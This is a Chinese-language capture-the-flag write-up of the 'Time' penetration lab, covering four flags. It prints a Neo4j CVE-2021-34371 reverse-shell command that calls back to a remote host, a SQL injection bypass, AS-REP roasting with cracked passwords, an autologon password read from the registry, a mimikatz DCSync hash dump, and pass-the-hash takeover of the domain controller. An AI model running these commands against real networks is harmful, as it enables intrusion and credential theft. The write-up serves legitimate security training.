banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

春秋云镜 仿真靶场-time记录

概述#

Time 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。

实验过程中,靶场启动多了,所以后面靶机换了几次 ip,但都是 39 开头

flag1#

信息收集#

masscan 进行全端口扫描

sudo masscan -p1-65535 --rate 5000 39.98.107.240
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-01-05 07:16:06 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 7474/tcp on 39.98.107.240
Discovered open port 22/tcp on 39.98.107.240
Discovered open port 44667/tcp on 39.98.107.240
Discovered open port 1337/tcp on 39.98.107.240
Discovered open port 7473/tcp on 39.98.107.240
Discovered open port 7687/tcp on 39.98.107.240

http://39.98.107.240:7474/browser/
https://39.98.107.240:7473/browser/

上述两个 url 是 Neo4j Browser,访问:http://39.98.107.240:7687/,界面如下

image

由 7687 端口可知,服务器上安装了 neo4j 组件

image

neo4j 存在 CVE-2021-34371 漏洞,参考下述链接,可直接利用

CVE-2021-34371.jar

java9 运行,先请求下 dnslog,看下是否可利用

image

dnslog 收到请求

image

接下来反弹 shell,39.98.107.240 监听了 1337 端口

# 本机电脑执行如下命令,base64编码的内容是反弹的vps服务器
java -jar rhino_gadget.jar rmi://39.98.107.240:1337 "bash -c {echo,L2Jpbi9zaCAtaSxxxxxxxxxMC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

vps 服务器开启监听nc -lvnp 1234,vps 服务器上收到 shell,此靶机 ip 为 172.22.6.36

image

此靶机上有第一个 flag

image

flag01: flag{14d2f5e2-b720-449f-87c9-52e0cb450cdd}

flag2#

fscan 扫描内网#

vps 服务器启动 web 服务,靶机下载 fscan

image

neo4j@ubuntu:~$ ./fscan -h 172.22.6.0/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.6.12     is alive
(icmp) Target 172.22.6.25     is alive
(icmp) Target 172.22.6.36     is alive
(icmp) Target 172.22.6.38     is alive
[*] Icmp alive hosts len is: 4
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.25:139 open
172.22.6.12:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.38:22 open
172.22.6.12:88 open
172.22.6.36:7687 open
172.22.6.36:22 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo 
[*]172.22.6.12
   [->]DC-PROGAME
   [->]172.22.6.12
[*] NetInfo 
[*]172.22.6.25
   [->]WIN2019
   [->]172.22.6.25
[*] OsInfo 172.22.6.12  (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.6.25     XIAORANG\WIN2019              
[*] NetBios 172.22.6.12     [+] DC:DC-PROGAME.xiaorang.lab       Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.6.38        code:200 len:1531   title:后台登录
[*] WebTitle https://172.22.6.36:7687  code:400 len:50     title:None
已完成 11/11
[*] 扫描结束,耗时: 13.077550134s

内网信息收集#

1、DC:172.22.6.12 (Windows Server 2016 Datacenter 14393) DC:DC-PROGAME.xiaorang.lab 开放了88端口,Kerberos会使用的端口 #DC
2、172.22.6.25 WIN2019 #域内机器
3、http://172.22.6.38 web页面,后台登录

sqli 注入#

只有一个登录页面,当输入如下内容时,显示 Welcome, administrator!,但没有其他的东西了,此处存在注入,用 sqlmap 跑

username=admin' or '1'='1&password=admin' or '1'='1

image

flag 位于 oa_f1Agggg 表中,这是第二个 flag

image

flag{b142f5ce-d9b8-4b73-9012-ad75175ba029}

flag3#

内网渗透#

使用 venom 开启代理

venom 下载地址:https://github.com/ropnop/kerbrute/releases/tag/v1.0.3

venom 开启 socks 代理后,访问http://172.22.6.38

image

枚举域用户#

flag02 中有个表存在一堆账户

image

将账号导出,去掉空格,转成小写,做成字典,用 kerbrute 去枚举账号

proxychains -q /home/kali/Desktop/kerbrute_linux_amd64  userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10

通过代理无法枚举

image

只能将工具上传到之前获取的 172.22.6.38 服务器中,进行枚举

./kerbrute_darwin_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10

image

爆破了不少用户名,整理成字典文件 user.txt

ASREProast 攻击#

GetNPUsers.py这个工具能够找出那些在域中设置了 "无需 Kerberos 预认证" 的用户,并尝试在不知道他们密码的情况下获取他们的票据授予票据(TGTs)。

接着,可以尝试破解随票据一起发送的会话密钥,以此来恢复用户的密码,这种技术被称作 ASREProast 攻击。

proxychains4 python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/

image

得到两个账户

[email protected]@XIAORANG.LAB:26c16dff96869458316c2477ca192408$e46633113daf3fba930a3e016326329adc14790d09e084968a2fd910ccd9baddf0ec34e35f186f3779fd043d8f055fa615288e58b80c233503b6a25987542eedbca307284a52e44bfd7375660db167d3fb5263f7d496cb8e6c98930239ea53783c31fc085c77a2868e61913abee18cf14460d2fe2a9aebdfa89f84e44959b63336f837ba7b02f6e9713a44d4765e24381c64a2ea5fb249ae1ae0276b062f5a32a8b41b9c68330a632f67df2019dc1d2c642950793cca67757e09af49fa657d089081b71f9bba9264b4b7c33ad6d81c00a024b5d7154b850df9c9469bb4b0c0223297444a838cba0ec97d224d

[email protected]@XIAORANG.LAB:5f4042cedcac50fab53fbe2ed069f8bb$92b24440eda0c831a5c184ae655f56e9078be319b726dc41ba2e15cfdcf936383a96e1fc65aa99017dec89ed2f11939cbf430c543ef297c4a857b5d2bfb15a376b9eeb2f7d9e910a844ea43a7969edac7c4fd55c02477378eabc3ef278c07a1261c75e8037e37b1b472111b3ae28fc7132f759ef834ad745e4035187a4569dc712a876ac20421b697e62bb0890a46789aa796709a5a47fd8796b6487e93690102a0a3fc156878e4e508366470dd404bb39476938b05e4a0b5478c3d1431a4b61a49ec15156691a6dcb1bf57710a5859c9c137c69778b1f5f93aca3f8c802bcd93163a15582e4766d35f6b0f4

通过 hashcat 爆破

hashcat -m 18200 --force -a 0 '[email protected]@XIAORANG.LAB:5f4042cedcac50fab53fbe2ed069f8bb$92b24440eda0c831a5c184ae655f56e9078be319b726dc41ba2e15cfdcf936383a96e1fc65aa99017dec89ed2f11939cbf430c543ef297c4a857b5d2bfb15a376b9eeb2f7d9e910a844ea43a7969edac7c4fd55c02477378eabc3ef278c07a1261c75e8037e37b1b472111b3ae28fc7132f759ef834ad745e4035187a4569dc712a876ac20421b697e62bb0890a46789aa796709a5a47fd8796b6487e93690102a0a3fc156878e4e508366470dd404bb39476938b05e4a0b5478c3d1431a4b61a49ec15156691a6dcb1bf57710a5859c9c137c69778b1f5f93aca3f8c802bcd93163a15582e4766d35f6b0f4' /Users/grayash/pentesting/web-basic/p12-字典收集/rockyou.txt

爆破得到两个账号的密码,

[email protected]/strawberry
[email protected]/hellokitty

image

域环境分析#

bloodhound#

bloodhound 可以分析域内的环境,保存所有收集的信息。由ingestorsvisualisation application组成。

Bloodhound 是在攻击者的计算机上本地运行的软件。攻击者必须在目标上运行一个collector,它将枚举有关域的大量信息。collector运行完成后,它将输出一系列 .json 文件,供导入到攻击者的 Bloodhound 界面中。

1、安装 bloodhound

apt-get install bloodhound neo4j

2、启动 neo4j 服务

sudo /usr/bin/neo4j start

image

image

3、访问http://localhost:7474/browser/

默认密码:neo4j,登录后修改密码

image

4、启动 bloodhound

接下来开启 BloodHound,kali 下自带 BloodHound

输入 bloodhound 即可,如果修改了 neo4j 密码,填写修改之后的密码

image

登录后界面如下:

image

SharpHound#

使用 zhangxin/strawberry 登录 172.22.6.25 机器

proxychains -q xfreerdp /u:"zhangxin" /v:172.22.6.25:3389

image

#如果要复制文件
proxychains -q xfreerdp /u:"zhangxin" /v:172.22.6.25:3389 /p:strawberry +clipboard /drive:tmp,/tmp

image

登录 172.22.6.25 机器,查看用户,有四个用户,wenshao 和 zhangxin 的密码都有,yuxuan 和 administrator 的密码目前没有,但可以看到此账户在这台机器上登录过,所以需要获取 yuxuan 和 administrator 的密码。

image

下载SharpHound,上传至目标机器收集信息

.\SharpHound.exe -c all

运行完成后生成 zip 文件

image

将文件拖放到 Bloodhound 中,等待数据加载完成。

查找域管

image

查找到域管的最短路径Find Shortest Paths to Domain Admins时,发现少了 172.22.6.25 的内容,只有如下信息,但是可以发现可以通过 yuxuan 这个账户到达域管且 yuxuan 用户存在HasSIDHistory

image

注意:经分析发现,sharpblood 导出数据集的时候,报错了,导致未采集到 172.22.6.25 的信息,尝试了几次之后,还是报如下错误

image

所以需要获取 yuyuan 账户的密码,通过 query user 可以知道 yuxuan 用户也登录了此服务器

image

说明 yuxuan 开启了自动登录,可通过下述命令获取其密码

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

#结果如下
DefaultUserName    REG_SZ    yuxuan
DefaultPassword    REG_SZ    Yuxuan7QbrgZ3L

image

HasSIDHistory#

根据 bloudhound 的图可知,yuxuan 用户存在 HasSIDHistory,HasSIDHistory 是一个 Active Directory (AD) 中的属性,它指示一个对象是否具有 SIDHistory 属性。

SIDHistory 为用户的 SID 历史记录,用户在域迁移后,票据还包含着前域所在组的 SID,虽然用户不属于前域,但仍拥有前域的权限

那么接下来,通过 yuxuan 登录 172.22.6.25,以便进行 SIDHistory 利用

proxychains -q xfreerdp /u:"[email protected]" /v:172.22.6.25:3389 /p:Yuxuan7QbrgZ3L +clipboard /drive:tmp,/tmp

上传 mimikatz

mimikatz 是一个强大的工具,常用于提取凭据和执行各种攻击技术。使用lsadump::dcsync模块,该模块可以通过模拟域控制器(DC)同步来提取域中的用户凭据。

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

提取了一堆用户的 hash

image

1103    shuzhen 07c1f387d7c2cf37e0ca7827393d2327        512
1104    gaiyong 52c909941c823dbe0f635b3711234d2e        512
1106    xiqidi  a55d27cfa25f3df92ad558c304292f2e        512
1107    wengbang        6b1d97a5a68c6c6c9233d11274d13a2e        512
1108    xuanjiang       a72a28c1a29ddf6509b8eabc61117c6c        512
1109    yuanchang       e1cea038f5c9ffd9dc323daf35f6843b        512
1110    lvhui   f58b31ef5da3fc831b4060552285ca54        512
1111    wenbo   9abb7115997ea03785e92542f684bdde        512
1112    zhenjun 94c84ba39c3ece24b419ab39fdd3de1a        512
1113    jinqing 4bf6ad7a2e9580bc8f19323f96749b3a        512
1115    yangju  1fa8c6b4307149415f5a1baffebe61cf        512
1117    weicheng        796a774eace67c159a65d6b86fea1d01        512
1118    weixian 8bd7dc83d84b3128bfbaf165bf292990        512
1119    haobei  045cc095cc91ba703c46aa9f9ce93df1        512
1120    jizhen  1840c5130e290816b55b4e5b60df10da        512
1121    jingze  3c8acaecc72f63a4be945ec6f4d6eeee        512
1122    rubao   d8bd6484a344214d7e0cfee0fa76df74        512
1123    zhaoxiu 694c5c0ec86269daefff4dd611305fab        512
1124    tangshun        90b8d8b2146db6456d92a4a133eae225        512
1125    liangliang      c67cd4bae75b82738e155df9dedab7c1        512
1126    qiyue   b723d29e23f00c42d97dd97cc6b04bc8        512
1127    chouqian        c6f0585b35de1862f324bc33c920328d        512
1128    jicheng 159ee55f1626f393de119946663a633c        512
1129    xiyi    ee146df96b366efaeb5138832a75603b        512
1130    beijin  a587b90ce9b675c9acf28826106d1d1d        512
1131    chenghui        08224236f9ddd68a51a794482b0e58b5        512
1132    chebin  b50adfe07d0cef27ddabd4276b3c3168        512
1133    pengyuan        a35d8f3c986ab37496896cbaa6cdfe3e        512
1134    yanglang        91c5550806405ee4d6f4521ba6e38f22        512
1135    jihuan  cbe4d79f6264b71a48946c3fa94443f5        512
1136    duanmuxiao      494cc0e2e20d934647b2395d0a102fb0        512
1137    hongzhi f815bf5a1a17878b1438773dba555b8b        512
1138    gaijin  b1040198d43631279a63b7fbc4c403af        512
1139    yifu    4836347be16e6af2cd746d3f934bb55a        512
1140    fusong  adca7ec7f6ab1d2c60eb60f7dca81be7        512
1141    luwan   c5b2b25ab76401f554f7e1e98d277a6a        512
1142    tangrong        2a38158c55abe6f6fe4b447fbc1a3e74        512
1143    zhufeng 71e03af8648921a3487a56e4bb8b5f53        512
1145    dongcheng       f2fdf39c9ff94e24cf185a00bf0a186d        512
1146    lianhuangchen   23dc8b3e465c94577aa8a11a83c001af        512
1147    lili    b290a36500f7e39beee8a29851a9f8d5        512
1148    huabi   02fe5838de111f9920e5e3bb7e009f2f        512
1149    rangsibo        103d0f70dc056939e431f9d2f604683c        512
1150    wohua   cfcc49ec89dd76ba87019ca26e5f7a50        512
1151    haoguang        33efa30e6b3261d30a71ce397c779fda        512
1152    langying        52a8a125cd369ab16a385f3fcadc757d        512
1153    diaocai a14954d5307d74cd75089514ccca097a        512
1154    lianggui        4ae2996c7c15449689280dfaec6f2c37        512
1155    manxue  0255c42d9f960475f5ad03e0fee88589        512
1156    baqin   327f2a711e582db21d9dd6d08f7bdf91        512
1157    chengqiu        0d0c1421edf07323c1eb4f5665b5cb6d        512
1158    louyou  a97ba112b411a3bfe140c941528a4648        512
1159    maqun   485c35105375e0754a852cee996ed33b        512
1160    wenbiao 36b6c466ea34b2c70500e0bfb98e68bc        512
1161    weishengshan    f60a4233d03a2b03a7f0ae619c732fae        512
1163    chuyuan 0cfdca5c210c918b11e96661de82948a        512
1164    wenliang        a4d2bacaf220292d5fdf9e89b3513a5c        512
1165    yulvxue cf970dea0689db62a43b272e2c99dccd        512
1166    luyue   274d823e941fc51f84ea323e22d5a8c4        512
1167    ganjian 7d3c39d94a272c6e1e2ffca927925ecc        512
1168    pangzhen        51d37e14983a43a6a45add0ae8939609        512
1169    guohong d3ce91810c1f004c782fe77c90f9deb6        512
1170    lezhong dad3990f640ccec92cf99f3b7be092c7        512
1171    sheweiyue       d17aecec7aa3a6f4a1e8d8b7c2163b35        512
1172    dujian  8f7846c78f03bf55685a697fe20b0857        512
1173    lidongjin       34638b8589d235dea49e2153ae89f2a1        512
1174    hongqun 6c791ef38d72505baeb4a391de05b6e1        512
1175    yexing  34842d36248c2492a5c9a1ae5d850d54        512
1176    maoda   6e65c0796f05c0118fbaa8d9f1309026        512
1177    qiaomei 6a889f350a0ebc15cf9306687da3fd34        512
502     krbtgt  a4206b127773884e2c7ea86cdd282d9c        514
1178    wenshao b31c6aa5660d6e87ee046b1bb5d0ff79        4260352
500     Administrator   04d93ffd6f5f6e4490e0de23f240a5e9        512
1000    DC-PROGAME$     cf3a203760c27000b2608aa84deb84fc        532480
1179    zhangxin        d6c5976e07cdb410be19b84126367e3d        4260352
1181    WIN2019$        ae61e83d1a79b801495b135293311f74        4096
1180    yuxuan  376ece347142d1628632d440530e8eed        66048

从上述输出中,找到管理员的 hash 值为:500 Administrator 04d93ffd6f5f6e4490e0de23f240a5e9 512

通过域管的 hash 登录 172.22.6.25 和 172.22.6.12 (DC),获取 flag03 和 flag04

proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image

flag4#

proxychains crackmapexec smb 172.22.6.12 -u administrator -H00000000000000000000000000000000:04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image

参考#

https://www.cnblogs.com/backlion/p/17187354.html
https://www.cnblogs.com/nice0e3/p/15934243.html
https://tools.thehacker.recipes/impacket/examples/getnpusers.py

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.